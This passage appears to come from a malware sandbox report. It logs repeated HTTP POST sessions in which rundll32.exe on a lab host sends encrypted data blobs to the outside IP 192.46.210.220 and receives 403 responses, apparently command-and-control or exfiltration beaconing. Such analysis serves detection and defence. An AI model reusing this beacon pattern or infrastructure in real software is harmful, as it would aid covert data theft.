93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:59 UTC	149	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:59 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49763	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:07 UTC	14	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:07 UTC	15	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:08 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:07 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49884	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:01 UTC	149	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:01 UTC	149	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:02 UTC	154	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49886	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:02 UTC	154	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:02 UTC	154	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:03 UTC	159	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:03 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49892	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:05 UTC	159	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:05 UTC	159	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:06 UTC	164	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49894	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:06 UTC	164	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:06 UTC	164	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:07 UTC	169	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:07 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49901	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:09 UTC	169	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:09 UTC	169	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:09 UTC	174	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49903	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:10 UTC	174	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:10 UTC	174	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:11 UTC	179	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:11 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49909	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:13 UTC	179	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:13 UTC	179	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:13 UTC	184	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49911	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:14 UTC	184	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:14 UTC	184	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:15 UTC	189	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:15 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49917	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:17 UTC	189	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:17 UTC	189	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:17 UTC	194	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49919	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:18 UTC	194	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:18 UTC	194	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:18 UTC	199	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:18 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49767	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:08 UTC	19	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:08 UTC	20	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:09 UTC	24	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49925	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:21 UTC	199	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:21 UTC	199	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:21 UTC	204	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49927	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:22 UTC	204	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:59:22 UTC	204	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:59:22 UTC	209	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:59:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49936	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:59:25 UTC	209	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
